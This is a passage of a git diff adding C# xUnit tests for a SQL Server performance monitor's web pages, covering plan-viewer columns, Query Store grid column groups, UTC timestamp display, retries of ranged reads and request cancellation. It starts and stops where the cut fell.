+        Assert.True(d.Params.Single(p => p.Name == "query_hash").Required);
+        Assert.False(d.Params.Single(p => p.Name == "database_name").Required);
+    }
+
+    /// <summary>Each plan source kind (#5228) reads a tool that is on the web read surface, and sends every parameter
+    /// that tool requires. The kinds and their params are parsed from the shipped SOURCES map.</summary>
+    [Theory]
+    [InlineData("query_hash", "get_plan_xml", new[] { "query_hash" })]
+    [InlineData("active_snapshot", "get_active_query_plan_xml", new[] { "collection_time", "session_id" })]
+    [InlineData("query_store", "get_query_store_plan_xml", new[] { "database_name", "query_id" })]
+    [InlineData("procedure", "get_procedure_plan_xml", new[] { "sql_handle" })]
+    [InlineData("blocking", "get_blocking_plan_xml", new[] { "event_time", "blocked_spid", "blocking_spid" })]
+    [InlineData("deadlock_victim", "get_deadlock_plan_xml", new[] { "collection_time", "deadlock_time" })]
+    public void EachPlanSourceKind_ReadsACatalogTool_AndSendsItsRequiredParams(string kind, string tool, string[] required)
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        var start = viewer.IndexOf("  " + kind + ": {", StringComparison.Ordinal);
+        Assert.True(start >= 0, kind + " is not in SOURCES");
+        var end = viewer.IndexOf("\n  },", start, StringComparison.Ordinal);
+        var block = viewer.Substring(start, end - start);
+        Assert.Contains("read: \"" + tool + "\"", block, StringComparison.Ordinal);
+
+        Assert.True(DarlingWebEndpoints.CatalogDescriptors.TryGetValue(tool, out var d), tool + " is not on the read surface");
+        var catalogRequired = d!.Params.Where(p => p.Required).Select(p => p.Name).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+        Assert.Equal(required.OrderBy(n => n, StringComparer.Ordinal).ToArray(), catalogRequired);
+
+        var paramsStart = block.IndexOf("params:", StringComparison.Ordinal);
+        var paramsBlock = block.Substring(paramsStart, block.IndexOf("key:", paramsStart, StringComparison.Ordinal) - paramsStart);
+        foreach (var name in d.Params.Select(p => p.Name).Where(n => n != "server"))
+        {
+            if (kind == "active_snapshot" && name == "live") Assert.Contains("live:", paramsBlock, StringComparison.Ordinal);
+            else if (d.Params.Single(p => p.Name == name).Required) Assert.Contains(name, paramsBlock, StringComparison.Ordinal);
+        }
+
+        Assert.False(d.Params.Any(p => p.Name is "hours" or "as_of"), tool + " is a point read: it takes no window");
+    }
+
+    /// <summary>#5233: the Repro button is offered for the three kinds that keep query text, and never for a procedure.
+    /// Each kind's reproParams sends the key get_query_repro_script needs for that kind, and the tool is on the web read
+    /// surface with only `kind` required.</summary>
+    [Theory]
+    [InlineData("query_hash", "kind: \"query_hash\"", "query_hash:")]
+    [InlineData("active_snapshot", "kind: \"active_snapshot\"", "collection_time:")]
+    [InlineData("query_store", "kind: \"query_store\"", "query_id:")]
+    public void ThePlanKindsThatKeepQueryText_OfferARepro_WithTheirOwnKey(string kind, string kindParam, string keyParam)
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        var start = viewer.IndexOf("  " + kind + ": {", StringComparison.Ordinal);
+        var block = viewer.Substring(start, viewer.IndexOf("\n  },", start, StringComparison.Ordinal) - start);
+        Assert.Contains("repro: true", block, StringComparison.Ordinal);
+        var reproParams = block.Substring(block.IndexOf("reproParams:", StringComparison.Ordinal));
+        Assert.Contains(kindParam, reproParams, StringComparison.Ordinal);
+        Assert.Contains(keyParam, reproParams, StringComparison.Ordinal);
+        Assert.DoesNotContain("live", reproParams, StringComparison.Ordinal);
+
+        Assert.True(DarlingWebEndpoints.CatalogDescriptors.TryGetValue("get_query_repro_script", out var d));
+        Assert.Equal(new[] { "kind" }, d!.Params.Where(p => p.Required).Select(p => p.Name).ToArray());
+        Assert.False(d.Params.Any(p => p.Name is "hours" or "as_of"), "a point read takes no window");
+    }
+
+    [Fact]
+    public void TheProcedureKind_HasNoRepro()
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        var start = viewer.IndexOf("  procedure: {", StringComparison.Ordinal);
+        var block = viewer.Substring(start, viewer.IndexOf("\n  },", start, StringComparison.Ordinal) - start);
+        Assert.DoesNotContain("repro", block, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTimestamp_GoesToTheRead_AsTheRowHoldsIt_NeverThroughADate()
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        Assert.DoesNotContain("new Date", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain("Date.parse", viewer, StringComparison.Ordinal);
+        Assert.Contains("collection_time: s.collection_time,", viewer, StringComparison.Ordinal);
+        // The blocked-process-report and deadlock reads (#5236) match their stamps for equality as well.
+        Assert.Contains("event_time: s.event_time,", viewer, StringComparison.Ordinal);
+        Assert.Contains("deadlock_time: s.deadlock_time,", viewer, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("ACTIVE_COLUMNS", "[...ACTIVE_COLUMNS, ...activePlanColumns(server)]")]
+    [InlineData("QUERY_STORE_COLUMNS", "[...QUERY_STORE_COLUMNS, queryStorePlanColumn(server), queryStoreHistoryColumn(server, ctx.hours)]")]
+    [InlineData("TOP_PROC_COLUMNS", "[...TOP_PROC_COLUMNS, procedurePlanColumn(server)]")]
+    [InlineData("BLOCKING_COLUMNS", "[...BLOCKING_COLUMNS, ...blockingPlanColumns(server)]")]
+    [InlineData("DEADLOCK_COLUMNS", "[...DEADLOCK_COLUMNS, deadlockPlanColumn(server)]")]
+    public void TheRowGrids_AddTheirPlanColumns_WhereTheyAreBuilt(string list, string composed)
+    {
+        var tabs = Js("pages", "server-tabs.js");
+        Assert.Contains(composed, tabs, StringComparison.Ordinal);
+        // The bare list is no longer handed to a grid; the composed form is, as many times as the list had call sites.
+        var bareCalls = tabs.Split("        " + list + ",\n").Length - 1;
+        Assert.Equal(0, bareCalls);
+    }
+
+    [Fact]
+    public void TheServerTabsImport_NamesTheFactories()
+    {
+        var tabs = Js("pages", "server-tabs.js");
+        var line = tabs.Split('\n').Single(l => l.EndsWith("from \"./plan-viewer.js\";", StringComparison.Ordinal));
+        foreach (var name in new[] { "activePlanColumns", "blockingPlanColumns", "deadlockPlanColumn", "planColumn", "procedurePlanColumn", "queryStorePlanColumn" })
+            Assert.Contains(name, line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFactories_KeyEachColumnUniquely_OnTheFieldThatIsPresentWhenAButtonShows()
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        Assert.Contains("key: \"has_query_plan\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("key: \"has_live_query_plan\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("key: \"sql_handle\"", viewer, StringComparison.Ordinal);
+        // The blocking and deadlock columns (#5236) each key on their own presence flag, one flag per button.
+        Assert.Contains("key: \"has_blocked_plan\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("key: \"has_blocking_plan\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("key: \"has_victim_plan\"", viewer, StringComparison.Ordinal);
+        // The original stored-plan column keeps query_hash; no new column reuses it.
+        Assert.Equal(1, viewer.Split("key: \"query_hash\",\n    label: \"Plan\"").Length - 1);
+    }
+
+    /// <summary>The blocking and deadlock buttons (#5236) draw only where their presence flag is exactly true. The server
+    /// sends the flag as true or leaves it off, so a looser test (truthy, not false) would draw a button for a value the
+    /// server never sends, and that button could only answer "unavailable".</summary>
+    [Theory]
+    [InlineData("has_blocked_plan", "Blocked plan")]
+    [InlineData("has_blocking_plan", "Blocking plan")]
+    [InlineData("has_victim_plan", "Victim plan")]
+    public void TheBlockingAndDeadlockButtons_DrawOnlyWhereTheirFlagIsExactlyTrue(string flag, string label)
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        var start = viewer.IndexOf("key: \"" + flag + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0, flag + " is not a column key");
+        var column = viewer.Substring(start, viewer.IndexOf("copy: false", start, StringComparison.Ordinal) - start);
+        Assert.Contains("label: \"" + label + "\"", column, StringComparison.Ordinal);
+        Assert.Contains("row." + flag + " === true", column, StringComparison.Ordinal);
+        // The flag is read once, by that strict comparison, and nowhere else in the column.
+        Assert.Equal(1, column.Split("row." + flag).Length - 1);
+        Assert.Contains("hideWhenEmpty: true", column, StringComparison.Ordinal);
+        Assert.Contains("sortable: false", column, StringComparison.Ordinal);
+        Assert.Contains("filter: false", column, StringComparison.Ordinal);
+        Assert.Contains("csv: false", column, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewer_NeverDrawsTheXmlAsMarkup()
+    {
+        var viewer = Js("pages", "plan-viewer.js");
+        Assert.DoesNotContain("innerHTML", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain("insertAdjacentHTML", viewer, StringComparison.Ordinal);
+        Assert.Contains("el(\"pre\", { class: \"code plan-xml\", text: pretty })", viewer, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("pages/server-tabs.js", "[...TOP_QUERY_COLUMNS, planColumn(server)]", 2)]
+    [InlineData("pages/finops/high-impact.js", "[...COLUMNS, planColumn(server)]", 1)]
+    [InlineData("pages/finops/optimization.js", "[...QUERY_COLUMNS, planColumn(server)]", 1)]
+    public void EachGridWithAQueryHash_AddsThePlanColumn(string file, string columns, int count)
+    {
+        var src = Js(file.Split('/'));
+        Assert.Contains("plan-viewer.js\"", src, StringComparison.Ordinal);
+        Assert.Equal(count, src.Split(columns).Length - 1);
+    }
+
+    [Fact]
+    public void ThePostgresTwin_HasNoPlanColumn_BecauseGetPlanXmlIsSqlServerOnly()
+    {
+        var tabs = Js("pages", "server-tabs.js");
+        var pg = tabs.Substring(tabs.IndexOf("const PG_TOP_QUERY_COLUMNS", StringComparison.Ordinal));
+        pg = pg.Substring(0, pg.IndexOf("];", StringComparison.Ordinal));
+        Assert.DoesNotContain("planColumn", pg, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebQueryStoreGridGroupsTests.cs b/Darling/Darling.Tests/WebQueryStoreGridGroupsTests.cs
new file mode 100644
index 0000000000..7f14defbc6
--- /dev/null
+++ b/Darling/Darling.Tests/WebQueryStoreGridGroupsTests.cs
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server page's Query Store Regressions, Long Query Completions and Plan Corrections grids (#4843): their wide
+/// columns sit behind column groups that are off at first, the choice survives the page's rebuild, and every
+/// timestamp is a UTC instant the browser prints in its own local time. The page runs under Node
+/// (<c>web-qs-grids-harness.mjs</c>, TZ pinned to a zone with a non-zero offset); Node is skipped when not installed.
+/// </summary>
+public sealed class WebQueryStoreGridGroupsTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.Environment["TZ"] = "America/New_York";
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-qs-grids-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Query Store grids harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the Query Store grids harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Arr(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static string[] Arr(JsonElement r, string grid, string name) => Arr(r.GetProperty(grid), name);
+
+    private static string ServerTabsJs => ReadRepoFile(Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")).ReplaceLineEndings("\n");
+
+    private static List<(string Key, string Line)> Columns(string constant)
+    {
+        var js = ServerTabsJs;
+        var start = js.IndexOf("const " + constant + " = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, constant);
+        var end = js.IndexOf("\n];", start, StringComparison.Ordinal);
+        return Regex.Matches(js[start..end], @"^\s*\{ key: ""([a-z_.]+)""[^\n]*$", RegexOptions.Multiline)
+            .Select(m => (m.Groups[1].Value, m.Value)).ToList();
+    }
+
+    [Fact]
+    public void EachGrid_StartsOnItsCoreColumns_WithATogglePerGroup()
+    {
+        var r = Run("defaults");
+        Assert.Equal(new[] { "Columns:", "CPU and reads", "Executions and plans" }, Arr(r, "regressions", "toggles"));
+        Assert.Equal(new[] { "Severity", "Database", "Query", "QueryID", "ExtraDuration", "Duration+%", "BaselineDuration", "RecentDuration", "CPU+%", "Reads+%", "LastExec" },
+            Arr(r, "regressions", "heads"));
+        Assert.Equal(new[] { "Columns:", "I/O and rows", "Session" }, Arr(r, "completions", "toggles"));
+        Assert.Equal(new[] { "Time", "Statement", "EventType", "Duration", "CPU", "Result", "Database", "Object", "QueryHash" },
+            Arr(r, "completions", "heads"));
+        Assert.Equal(new[] { "Columns:", "Plans", "Plan metrics", "Lifecycle" }, Arr(r, "corrections", "toggles"));
+        Assert.Equal(new[] { "Collected", "Query", "Database", "State", "StateReason", "Reason", "Score", "Est.gain(s)", "QueryID" },
+            Arr(r, "corrections", "heads"));
+    }
+
+    [Fact]
+    public void TurningAGroupOn_ShowsItsColumns_AndOffHidesThemAgain()
+    {
+        var r = Run("toggling");
+        Assert.Contains("ValidSince", Arr(r, "lifecycleOn"));
+        Assert.DoesNotContain("RegressedPlan", Arr(r, "lifecycleOn"));
+        Assert.Contains("RegressedPlan", Arr(r, "plansOn"));
+        Assert.Contains("RevertedAt", Arr(r, "plansOn"));
+        Assert.DoesNotContain("ValidSince", Arr(r, "allOff"));
+        Assert.DoesNotContain("RegressedPlan", Arr(r, "allOff"));
+        Assert.Equal(new[] { "BaseExecs", "RecentExecs", "BaselinePlans", "RecentPlans" },
+            Arr(r, "regressionsExecs").Where(h => h.StartsWith("Base", StringComparison.Ordinal) && h != "BaselineDuration" || h.StartsWith("Recent", StringComparison.Ordinal) && h != "RecentDuration").ToArray());
+        Assert.Equal(new[] { "SPID", "App", "Login" }, Arr(r, "completionsSession").Skip(8).Take(3).ToArray());
+    }
+
+    [Fact]
+    public void TheToggles_SurviveTheSixtySecondRebuild_PerGrid()
+    {
+        var r = Run("repaint");
+        Assert.Contains("ValidSince", Arr(r, "corrections"));
+        Assert.DoesNotContain("RegressedPlan", Arr(r, "corrections"));
+        Assert.Contains("LogicalReads", Arr(r, "completions"));
+        Assert.DoesNotContain("SPID", Arr(r, "completions"));
+        Assert.DoesNotContain("BaseExecs", Arr(r, "regressions"));
+    }
+
+    [Fact]
+    public void AUtcInstant_PrintsInTheBrowsersLocalTime_InEveryTimestampColumn()
+    {
+        var r = Run("localTime");
+        var expected = r.GetProperty("expected").GetString()!;
+        Assert.Equal("1/15/2026, 12:30:00 PM", expected);
+        // Collected, Valid Since, Last Refresh and Executed At (Lifecycle is on in this scenario).
+        var cells = Arr(r, "cells");
+        foreach (var i in new[] { 0, 9, 10, 12 }) Assert.Equal(expected, cells[i]);
+        Assert.Equal(expected, Arr(r, "regressionCells").Last());
+        Assert.Equal(expected, Arr(r, "completionCells").First());
+    }
+
+    [Theory]
+    [InlineData("QUERY_STORE_REGRESSION_COLUMNS", "QUERY_STORE_REGRESSION_GROUPS", "get_query_store_regressions")]
+    [InlineData("LONG_QUERY_COLUMNS", "LONG_QUERY_GROUPS", "get_long_query_completions")]
+    [InlineData("PLAN_CORRECTION_COLUMNS", "PLAN_CORRECTION_GROUPS", "get_plan_corrections")]
+    public void EveryGroupedColumn_NamesAGroupTheGridDeclares_AndNoGroupIsOnByDefault(string columns, string groups, string read)
+    {
+        var js = ServerTabsJs;
+        var decl = Regex.Match(js, "const " + groups + @" = \{ groups: \[([^\]]*)\], defaultGroups: \[([^\]]*)\] \};");
+        Assert.True(decl.Success, groups);
+        var declared = Regex.Matches(decl.Groups[1].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.Equal("", decl.Groups[2].Value.Trim());
+        var used = Columns(columns).Select(c => Regex.Match(c.Line, @"group: ""([^""]+)""")).Where(m => m.Success).Select(m => m.Groups[1].Value).Distinct().ToList();
+        Assert.Equal(declared.OrderBy(x => x), used.OrderBy(x => x));
+        Assert.Contains(read, js);
+    }
+
+    [Fact]
+    public void EveryTimestampColumn_IsAnInstantTheBrowserRendersLocally_AndTheirSourcesAreUtcInTheCensus()
+    {
+        foreach (var constant in new[] { "QUERY_STORE_REGRESSION_COLUMNS", "LONG_QUERY_COLUMNS", "PLAN_CORRECTION_COLUMNS" })
+            foreach (var (key, line) in Columns(constant))
+                if (key.EndsWith("_time", StringComparison.Ordinal) || key is "valid_since" or "last_refresh")
+                    Assert.True(line.Contains("format: \"time\"", StringComparison.Ordinal), constant + "." + key);
+
+        // Frame-ambiguity: none. The three sources are stored UTC (collector-written or UTC-reporting), so the reads
+        // write them as stored with "o" and the census registers each as Utc.
+        var census = ReadRepoFile("Darling", "Darling.Tests", "ConsumedTimestampFrameDisciplineTests.cs");
+        Assert.Contains("(\"query_store_stats\", \"last_execution_time\", ClockFrame.Utc", census);
+        Assert.Contains("\"long_query_completions.event_time=Utc\"", census);
+        foreach (var stamp in new[] { "execute_action_initiated_time", "last_refresh", "revert_action_initiated_time", "valid_since" })
+            Assert.Contains("\"plan_correction." + stamp + "=Utc\"", census);
+    }
+}
diff --git a/Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs b/Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs
new file mode 100644
index 0000000000..8e118d7d6e
--- /dev/null
+++ b/Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>#5234: source pins for the Query Store grid's History column.</summary>
+public sealed class WebQueryStoreHistoryColumnTests
+{
+    private static string Js(params string[] path) =>
+        ReadRepoFile(["Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", .. path]).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheQueryStoreTable_EndsWithThePlanAndHistoryColumns()
+    {
+        var tab = Js("pages", "server-tabs.js");
+        Assert.Contains("import { queryStoreHistoryColumn } from \"./query-store-history.js\";", tab, StringComparison.Ordinal);
+        Assert.Contains("[...QUERY_STORE_COLUMNS, queryStorePlanColumn(server), queryStoreHistoryColumn(server, ctx.hours)],", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHistoryColumn_IsNeverSortedFilteredExportedOrCopied()
+    {
+        var src = Js("pages", "query-store-history.js");
+        var factory = src[src.IndexOf("export function queryStoreHistoryColumn", StringComparison.Ordinal)..];
+        foreach (var flag in new[] { "sortable", "filter", "csv", "copy" })
+            Assert.Matches(new Regex($@"\b{flag}: false,"), factory);
+        Assert.Contains("key: \"query_store_history\"", factory, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePanel_DrawsEveryStringThroughEl_AndReadsOnlyTheStore()
+    {
+        var src = Js("pages", "query-store-history.js");
+        Assert.DoesNotContain("innerHTML", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("html:", src, StringComparison.Ordinal);
+        Assert.Contains("readTool(\"get_query_store_query_history\"", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("actual", src.Replace("actual_", ""), StringComparison.OrdinalIgnoreCase);
+    }
+}
diff --git a/Darling/Darling.Tests/WebRangeKeptHistoryBehaviourTests.cs b/Darling/Darling.Tests/WebRangeKeptHistoryBehaviourTests.cs
index 02bc0e7902..88aa3926b8 100644
--- a/Darling/Darling.Tests/WebRangeKeptHistoryBehaviourTests.cs
+++ b/Darling/Darling.Tests/WebRangeKeptHistoryBehaviourTests.cs
@@ -18,9 +18,11 @@
 namespace Darling.Tests;
 
 /// <summary>
-/// The server page's Range goes to 30 days, and most reads keep 7 (<c>McpHelpers.MaxHoursBack</c>). A read that
-/// refuses the page's window for that reason is asked again, once, for the hours it keeps, and the panel shows that
-/// data with a notice naming the window it covers. Run from the shipped <c>util.js</c>, <c>panels.js</c> and
+/// Most reads keep 7 days (<c>McpHelpers.MaxHoursBack</c>). The server page's Range stops there
+/// (<see cref="WebServerPageRangeTests"/>), but a Custom View's read panel stores its own hours and can still ask
+/// for more. A read that refuses a window for that reason is asked again, once, for the hours it keeps, and the
+/// panel shows that data with a notice naming the window it covers. These drive 30 days into the panels directly,
+/// so every ranged read is proven to take that path. Run from the shipped <c>util.js</c>, <c>panels.js</c> and
 /// <c>pages/server-tabs.js</c> under Node (<c>web-kept-history-harness.mjs</c>): the descriptor loader and the
 /// hand-built composites, their fetches, notices, errors and chart windows. Node is skipped when it is not
 /// installed, the way <see cref="AlertNotebookRenderBehaviourTests"/> does; the last test pins the routing in the
@@ -28,12 +30,24 @@ namespace Darling.Tests;
 /// </summary>
 public sealed class WebRangeKeptHistoryBehaviourTests
 {
-    private const string KeptNotice = "This view keeps up to 168 hours (7 days) of history, so it shows the last 7 days.";
+    private const string KeptNotice = "This view reads at most 168 hours (7 days) at a time, so it shows the last 7 days.";
 
-    private static bool TryRun(string scenario, out JsonElement result)
+    /// <summary>How the notice ends when the retry is refused too. The second-refusal pin and the census guard both read
+    /// it, so the guard cannot drift from the text the page shows.</summary>
+    private const string PickShorter = "Pick a shorter range.";
+
+    /// <param name="scenario">The harness scenario; one that ends in "Local" takes the browser's zone after a colon.</param>
+    /// <param name="result">What the harness printed.</param>
+    /// <param name="input">The JSON answer the page reads, for a scenario that draws a server note (HARNESS_INPUT).</param>
+    internal static bool TryRun(string scenario, out JsonElement result, string? input = null)
     {
         result = default;
         var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        if (input is not null)
+        {
+            psi.Environment["HARNESS_INPUT"] = input;
+        }
+
         psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-kept-history-harness.mjs"));
         psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
         psi.ArgumentList.Add(scenario);
@@ -45,6 +59,7 @@ private static bool TryRun(string scenario, out JsonElement result)
         }
         catch (Win32Exception)
         {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
             return false;
         }
 
@@ -90,6 +105,24 @@ public void ARefusedWindow_IsAskedAgainOnceForTheHoursTheReadKeeps_AndThePanelSa
         Assert.Equal(new int?[] { 168 }, ChartHours(r));
     }
 
+    /// <summary>The footer's "Updated" time stamps only while the page's read-error count holds still, and that count is the red
+    /// strips drawn. A read narrowed to the widest window it takes and then answered draws data and a notice, so it must not move
+    /// the count; a failure that draws a red strip must.</summary>
+    [Fact]
+    public void ANarrowedReadThatIsThenAnswered_DrawsNoRedStrip_AndLeavesTheReadErrorCountAlone()
+    {
+        if (!TryRun("loaderRefused", out var narrowed)) return;
+        Assert.Equal(0, narrowed.GetProperty("readErrors").GetInt32());
+
+        if (!TryRun("loaderOtherError", out var failed)) return;
+        Assert.Single(Strings(failed, "errors"));
+        Assert.Equal(1, failed.GetProperty("readErrors").GetInt32());
+
+        if (!TryRun("loaderRefusedTwice", out var refusedTwice)) return;
+        Assert.Empty(Strings(refusedTwice, "errors"));
+        Assert.Equal(0, refusedTwice.GetProperty("readErrors").GetInt32());
+    }
+
     [Fact]
     public void ARefusedWindowWhoseRetryIsEmpty_ShowsTheNoticeBesideTheEmptyAnswer()
     {
@@ -138,7 +171,7 @@ public void ARetryThatIsRefusedToo_IsNotAskedAThirdTime()
         Assert.Equal(2, Strings(r, "fetches").Length);
         /* The second refusal falls back to the #2780 notice, which names the window the read now reports. */
         Assert.Equal(
-            "This view keeps up to 96 hours (4 days) of history — pick a shorter range.",
+            "This view reads at most 96 hours (4 days) at a time. " + PickShorter,
             Assert.Single(Strings(r, "notices")));
         Assert.Empty(Strings(r, "errors"));
     }
@@ -199,7 +232,7 @@ public void TheViewEditorsSampleRead_IsAskedAgainTheSameWay_SoSaveFindsTheFields
     /// <summary>
     /// Every tab of both registries at 30 days, with every read refusing it: each ranged read on the page, whether
     /// a descriptor, a fanout or a hand-built composite, is asked exactly once more at 168 hours, and no panel is
-    /// left on the "pick a shorter range" notice. The picker reads (wait, counter and query trends) are in the count,
+    /// left on the "Pick a shorter range." notice. The picker reads (wait, counter and query trends) are in the count,
     /// so a composite that bypasses the shared helper fails here.
     /// </summary>
     [Fact]
@@ -224,7 +257,7 @@ public void EveryRangedReadOnEveryTab_IsAskedAgainOnceAtTheHoursItKeeps()
             Assert.Contains(ranged, f => f.StartsWith("/api/read/" + trend + "?", StringComparison.Ordinal) && f.Contains("hours=168", StringComparison.Ordinal));
         }
 
-        Assert.DoesNotContain(Strings(r, "notices"), n => n.Contains("pick a shorter range", StringComparison.Ordinal));
+        Assert.DoesNotContain(Strings(r, "notices"), n => n.Contains(PickShorter, StringComparison.Ordinal));
         Assert.Contains(KeptNotice, Strings(r, "notices"));
         Assert.Empty(Strings(r, "errors"));
         Assert.Empty(Strings(r, "rejections"));
diff --git a/Darling/Darling.Tests/WebReadCancellationPinTests.cs b/Darling/Darling.Tests/WebReadCancellationPinTests.cs
index dfa77dee80..8e26a97680 100644
--- a/Darling/Darling.Tests/WebReadCancellationPinTests.cs
+++ b/Darling/Darling.Tests/WebReadCancellationPinTests.cs
@@ -38,6 +38,7 @@ namespace Darling.Tests;
 /// A tool could pass either check alone — a dispatch entry that passes a token to a method with nowhere to put
 /// it, or a method with a token parameter nothing ever fills in — so both run.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class WebReadCancellationPinTests
 {
     /// <summary>
@@ -53,14 +54,14 @@ private static NpgsqlDataSource DeadStore() =>
     /// <summary>
     /// An <see cref="HttpContext"/> whose request is already aborted, carrying query values for the few
     /// required text parameters (<c>get_query_trend</c>'s <c>query_hash</c> / <c>database_name</c>, and
-    /// <c>get_wait_trend</c>'s <c>wait_type</c>) so a dispatch entry with a synchronous "is this parameter
+    /// <c>get_wait_trend</c>'s <c>wait_type</c>, <c>get_alert_details</c>'s alert key) so a dispatch entry with a synchronous "is this parameter
     /// present" gate still reaches its store call instead of returning a missing-parameter envelope with
     /// nothing cancelled.
     /// </summary>
     private static HttpContext CancelledRequest()
     {
         var context = new DefaultHttpContext();
-        context.Request.QueryString = new QueryString("?query_hash=deadbeef&database_name=probe&counter_name=x&wait_type=CXPACKET");
+        context.Request.QueryString = new QueryString("?kind=query_hash&query_hash=deadbeef&database_name=probe&counter_name=x&wait_type=CXPACKET&metric=total_waits&query_id=1&sql_handle=0x01&collection_time=2026-01-01T00:00:00.000000Z&session_id=1&event_time=2026-01-01T00:00:00.000000Z&blocked_spid=1&blocking_spid=2&deadlock_time=2026-01-01T00:00:00.000000Z&server_id=1&metric_name=x&alert_time=2026-01-01T00:00:00Z");
         context.RequestAborted = new CancellationToken(canceled: true);
         return context;
     }
diff --git a/Darling/Darling.Tests/WebReadProbe.cs b/Darling/Darling.Tests/WebReadProbe.cs
new file mode 100644
index 0000000000..3ee6d7d896
--- /dev/null
+++ b/Darling/Darling.Tests/WebReadProbe.cs
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 PR6 (W6): calls a read the way the web page does, through the web read dispatch, with the chosen databases as REPEATED
+/// <c>database_name</c> keys. The configuration and events live tests use it to pin that the dispatch hands the whole list to the
+/// reader (on the base the key was ignored, or only its first value was read).
+/// </summary>
+internal static class WebReadProbe
+{
+    public static async Task<JsonElement> ReadAsync(NpgsqlDataSource postgres, string serverName, string read, string hours, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>> { new("server_name", serverName), new("hours_back", hours) };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return JsonDocument.Parse(await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!)).RootElement;
+    }
+}
diff --git a/Darling/Darling.Tests/WebReadReachLiveTests.cs b/Darling/Darling.Tests/WebReadReachLiveTests.cs
new file mode 100644
index 0000000000..1c22095465
--- /dev/null
+++ b/Darling/Darling.Tests/WebReadReachLiveTests.cs
@@ -0,0 +1,176 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
